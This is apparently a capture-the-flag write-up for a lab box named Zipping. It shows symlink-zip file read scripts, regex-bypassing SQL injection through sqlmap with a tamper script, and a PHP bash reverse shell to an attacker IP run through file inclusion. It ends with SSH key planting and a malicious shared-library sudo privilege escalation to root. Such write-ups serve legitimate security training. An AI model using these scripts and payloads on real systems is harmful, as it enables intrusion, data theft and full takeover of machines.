Zipping

Recon

nmap_scan.log
Open 10.129.229.87:22
Open 10.129.229.87:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.229.87

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP6mSkoF2+wARZhzEmi4RDFkpQx3gdzfggbgeI5qtcIseo7h1mcxH8UCPmw8Gx9+JsOjcNPBpHtp2deNZBzgKcA=
|   256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXXd7dM7wgVC+lrF0+ZIxKZlKdFhG2Caa9Uft/kLXDa
80/tcp open  http    syn-ack Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

The only link leading to other pages is /shop

Pages are navigated via page param in request.

Writeup-1.png

LFI was not successful, but this might also be SQLi?

└─$ curl http://10.129.229.87/shop/index.php?page=../../../../../../../etc/passwd --path-as-is -s | grep root
└─$ curl http://10.129.229.87/shop/index.php?page=../../../../../../../etc/passwd --path-as-is -s | grep index.php
                    <a href="index.php">Home</a>
                    <a href="index.php?page=products">Products</a>
                    <a href="index.php?page=cart">
                <a href="index.php?page=product&id=2" class="product">
                <a href="index.php?page=product&id=3" class="product">
                <a href="index.php?page=product&id=1" class="product">
                <a href="index.php?page=product&id=4" class="product">

No success after some manual fuzzing on SQLi on different urls.

There was also Work With Us button leading to /upload.php

Writeup-2.png

LFI

Uploading valid Zip with PDF gives link:

http://10.129.229.87/uploads/f9f9cfa78b12cc9e07611a9254804d03/buttonee.pdf

Arbitrary file read via Symbolic Links

└─$ ln -s /etc/passwd p.pdf
└─$ zip --symlink p.zip p.pdf
└─$ curl http://10.129.229.87/upload.php -F 'zipFile=@p.zip' -F 'submit=1' -s | grep -oP '>\Kuploads/[^<]*'
uploads/8b96cc8861289f722330354366438603/p.pdf
└─$ curl http://10.129.229.87/uploads/8b96cc8861289f722330354366438603/p.pdf -s |  grep sh$
root:x:0:0:root:/root:/bin/bash
rektsu:x:1001:1001::/home/rektsu:/bin/bash

Cool, we can read files; but we preferably want to get RCE.

#!/bin/bash

URL="http://10.129.229.87"
DUMMY="dummy"
DUMMY_PDF="$DUMMY.pdf"
DUMMY_ZIP="$DUMMY.zip"

if [ -z "$1" ]; then
    read -p "Filename: " lfi_filename
else
    lfi_filename="$1"
fi

/usr/bin/rm "$DUMMY_PDF" 2>/dev/null
/usr/bin/ln -s "$lfi_filename" "$DUMMY_PDF"
/usr/bin/zip --symlink "$DUMMY_ZIP" "$DUMMY_PDF"

upload_location=$(/usr/bin/curl "$URL/upload.php" -F "zipFile=@$DUMMY_ZIP" -F 'submit=1' -s | grep -oP '>\Kuploads/[^<]*')
upload_location="$URL/$upload_location"
echo -e "$upload_location\n"
/usr/bin/curl "$upload_location" -s

Alternative script with python

from requests import Session
from zipfile import ZipFile, ZipInfo, ZIP_DEFLATED
import io
import re
import readline

def create_symlink_zip(symlink_name, symlink_target):
    buffer = io.BytesIO()
    with ZipFile(buffer, 'w', ZIP_DEFLATED) as zf:
        # Create a pseudo symlink by writing the link target as the file content
        zipinfo = ZipInfo(symlink_name)
        # Mark it as a symlink (Unix-specific)
        zipinfo.external_attr = 0xA1ED0000
        zf.writestr(zipinfo, symlink_target)

    buffer.seek(0)  # Reset buffer to the beginning
    return buffer

URL = "http://10.129.229.87"
DATA = {'submit': '1'}
SL = SYMLINK_NAME = "dummy.pdf"

with Session() as session:
    # session.proxies = {'http': 'http://127.0.0.1:8080'}
  
    while True:
        symlink_target = input("Filename: ")
        files = {'zipFile': (SL, create_symlink_zip(SL, symlink_target), 'application/zip')}
        resp = session.post(f'{URL}/upload.php', files=files, data=DATA)

        pdf_link = re.search(r'>(uploads/[^<]*)', resp.text)
        if pdf_link:
            pdf_link = f"{URL}/{pdf_link.group(1)}"
            print(f"Uploaded file path: {pdf_link}")

            resp = session.get(pdf_link)
            print(resp.text)
        else:
            print("Upload path not found in response.")

        print('- ' * 16)
Filename: /var/www/html/upload.php
Uploaded file path: http://10.129.229.87/uploads/eccdd308c21dc2bd448e1e1bec272ede/dummy.pdf
...
<?php 
if (isset($_POST["submit"])) {
    // Get the uploaded zip file
    $zipFile = $_FILES["zipFile"]["tmp_name"];
    if ($_FILES["zipFile"]["size"] > 300000) {
        echo "<p>File size must be less than 300,000 bytes.</p>";
    } else {
        // Create an md5 hash of the zip file
        $fileHash = md5_file($zipFile);
        // Create a new directory for the extracted files
        $uploadDir = "uploads/$fileHash/";
        $tmpDir = sys_get_temp_dir();
        // Extract the files from the zip
        $zip = new ZipArchive();
        if ($zip->open($zipFile) === true) {
            if ($zip->count() > 1) {
                echo "<p>Please include a single PDF file in the archive.<p>";
            } else {
                // Get the name of the compressed file
                $fileName = $zip->getNameIndex(0);
                if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
                    $uploadPath = $tmpDir . "/" . $uploadDir;
                    echo exec("7z e " . $zipFile . " -o" . $uploadPath . ">/dev/null");
                    if (file_exists($uploadPath . $fileName)) {
                        mkdir($uploadDir);
                        rename($uploadPath . $fileName, $uploadDir . $fileName);
                    }
                    echo '<p>File successfully uploaded ...'
                } else {
                    echo "<p>The unzipped file must have  a .pdf extension.</p>";
                }
            }
        } else {
            echo "Error uploading file.";
        }
    }
}
?>
...
Filename: /var/www/html/shop/index.php
Uploaded file path: http://10.129.229.87/uploads/1d467daaca097cbac671940f1fd9ee04/dummy.pdf
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

- - - - - - - - - - - - - - - -
Filename: /var/www/html/shop/functions.php
Uploaded file path: http://10.129.229.87/uploads/b884544224988119b2ea4cd61b1a9e95/dummy.pdf
<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
        // If there is an error with the connection, stop the script and display the error.
        exit('Failed to connect to database!');
    }
}
...

Creds: root:MySQL_P@ssw0rd!

Credentials don't work on SSH and there's no admin panel.

SQLi

Filename: /var/www/html/shop/products.php
... # Nothing interesting, prepared statements for SQL
Filename: /var/www/html/shop/product.php
Uploaded file path: http://10.129.229.87/uploads/7339566e8bc21cfe0ef16c54dc1d7013/dummy.pdf
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>
...

For some reason products.php uses good queries, but not product.php; It's using raw SQL and blacklist...

Blacklist is bypassable by newline injection, because grep is only checking the first line and we are able to inject newline.

1 didn't work, but \n1 worked 🤔

Writeup-3.png
Success: http://10.129.229.87/shop/index.php?page=product&id=%0a1'+AND+'1'='1
Fail   : http://10.129.229.87/shop/index.php?page=product&id=%0a1'+AND+'1'='2

The regular expression matching has some requirements:

  1. Newline injection is possible, but at the first half

  2. To pass the condition we must have number at the end of the string

/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/

^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?] -- Starts with anything and then special char
[^0-9]$                                        -- Ends with number (must!)

That's why \n1 -- - will fail, but \n1 -- - 1 will not.

Writeup-4.png

SQLMap fuckery

I thought this would be a good exercise to flex some SQLMap queries and it was fucking tough to get this shit to work 💀 but it finally worked:

└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' -p id --prefix "%0A'" --suffix "-- - 1" --dbms=MySQL --technique=U --level=5 --risk=3 --current-db --batch
---
Parameter: id (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: page=product&id=
' UNION ALL SELECT NULL,CONCAT(0x7171766b71,0x6365466e437871706354644a7a6244437757457541514568657454796964594a6269564446525a57,0x7176626b71),NULL,NULL,NULL,NULL,NULL,NULL-- - 1
---'
current database: 'zipping'

SQLMap wasn't able to write into files, not in /var/www/html, in /tmp or even /dev/shm.

└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' -p id --prefix "%0A'" --suffix "-- - 1" --dbms=MySQL --technique=U --level=5 --risk=3 --batch --file-write agent.php --file-dest /tmp/agent.php -vvv
...
[16:02:40] [PAYLOAD] -5484%0A' UNION ALL SELECT 0x3c3f3d60245f524551554553545b305d603f3e0a,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE '/tmp/agent.php'-- - 1
got a 302 redirect to 'http://10.129.229.87/shop/index.php'. 'Do you want to follow? [Y/n] Y
do you want confirmation that the local file 'agent.php' has been successfully written on the back-end DBMS file system ('/tmp/agent.php')? [Y/n] Y
[16:02:41] [PAYLOAD] %0A' UNION ALL SELECT NULL,CONCAT(0x7171766b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f746d702f6167656e742e706870)) AS CHAR),0x20),0x7176626b71),NULL,NULL,NULL,NULL,NULL,NULL-- - 1
[16:02:41] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
...

💀 Everything was correct, but it was using negative number in the first part so - character, which is blacklisted and it wasn't working because of that...! Lucky me...

└─$ mkdir blacklist; echo 'def tamper(payload, **kwargs):\n    if payload and payload.startswith("-"):\n        payload = payload[1:]\n        \n    return payload' > blacklist/blacklist.py; echo "" > blacklist/__init__.py;
└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' --batch --file-write www/shell.php --file-dest /var/www/html/shell.php --proxy http://127.0.0.1:8080 --tamper=./blacklist/blacklist.py -vvv

SQLi + LFI = RCE

We can't write into /var/www/html/* even tho we are running as root, writing to /tmp/* works, but we can't include files... /dev/shm/* is writable and includable!!

└─$ cat www/t.php
<?php echo system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.99/4444 0>&1"'); ?>
└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' --batch --file-write www/t.php --file-dest /dev/shm/t.php --proxy http://127.0.0.1:8080 --tamper=./blacklist/blacklist.py
└─$ curl http://10.129.229.87/shop/index.php?page=/dev/shm/t 

Reverse Shell

Finally reverse shell

└─$ listen
Ncat: Connection from 10.129.229.87:46238.
rektsu@zipping:/var/www/html/shop$ id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)

User.txt

rektsu@zipping:/home/rektsu$ cat user.txt
22c31e006c4a206997dabf8356d06f98

Privilege Escalation

Upgrade reverse shell to SSH.

└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7+N9qBEHFihmjz8X0Tc+rIN1qeZtHbe5lhiGi/ntmm woyag@kraken
---
rektsu@zipping:/home/rektsu$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7+N9qBEHFihmjz8X0Tc+rIN1qeZtHbe5lhiGi/ntmm woyag@kraken' >> /home/rektsu/.ssh/authorized_keys
---
└─$ ssh rektsu@10.129.229.87 -i id_rsa
rektsu@zipping:~$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

rektsu@zipping:~$ sudo stock --help
Enter the password: password
Invalid password, please try again.

rektsu@zipping:~$ ls -alh /usr/bin/stock
-rwxr-xr-x 1 root root 17K Apr  1  2023 /usr/bin/stock

rektsu@zipping:~$ strings /usr/bin/stock
...
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour     Black   Gold    Silver
Amount     %-7d %-7d %-7d
Quality   Excelent Average Poor
Amount    %-9d %-7d %-4d
Exclusive Yes    No
Amount    %-4d   %-4d
Warranty  Yes    No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver):
Quality (0: excelent, 1: average, 2: poor):
Exclusivity (0: yes, 1: no):
Warranty (0: yes, 1: no):
Amount:
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.
...
rektsu@zipping:~$ ls /home
rektsu

Password: St0ckM4nager

No idea what the binary does, but let's see what functions it uses. ltrace doesn't exist, but strace is available on the box.

rektsu@zipping:~$ strace -e trace='openat,read,write' /usr/bin/stock
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
)                       = 1
write(1, "1) See the stock\n", 171) See the stock
)      = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
)     = 18
write(1, "3) Exit the program\n", 203) Exit the program
)   = 20
write(1, "\n", 1
)                       = 1
write(1, "Select an option: ", 18Select an option: )      = 18
read(0, 1
"1\n", 1024)                    = 2
openat(AT_FDCWD, "/root/.stock.csv", O_RDONLY) = -1 EACCES (Permission denied)
write(1, "You do not have permissions to r"..., 44You do not have permissions to read the file) = 44
+++ exited with 1 +++

"/home/rektsu/.config/libcounter.so" is missing, so some library is being loaded.

Create malicious so library:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

__attribute__((constructor)) void setup_ssh() {
    mkdir("/root/.ssh", 0700);  
    FILE *file = fopen("/root/.ssh/authorized_keys", "a");
    if (file) {
        const char *public_key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7+N9qBEHFihmjz8X0Tc+rIN1qeZtHbe5lhiGi/ntmm woyag@kraken";
        fprintf(file, "%s\n", public_key);
        fclose(file);
    }
}

Compile and transfer

└─$ gcc -shared -fPIC -o libcounter.so libcounter.c
└─$ file lib*
libcounter.c:  C source, ASCII text
libcounter.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=99a734c90afd380688cf99a9d15369b21b00a2c0, not stripped
└─$ scp -i id_rsa ./libcounter.so rektsu@10.129.229.87:~/.config

Run the program, enter password so library get's loaded.

rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 3
rektsu@zipping:~$

Check SSH

└─$ ssh root@10.129.229.87 -i id_rsa
root@zipping:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@zipping:~# cat root.txt
b30f050645b2d5733ec02c6e52921382

Last updated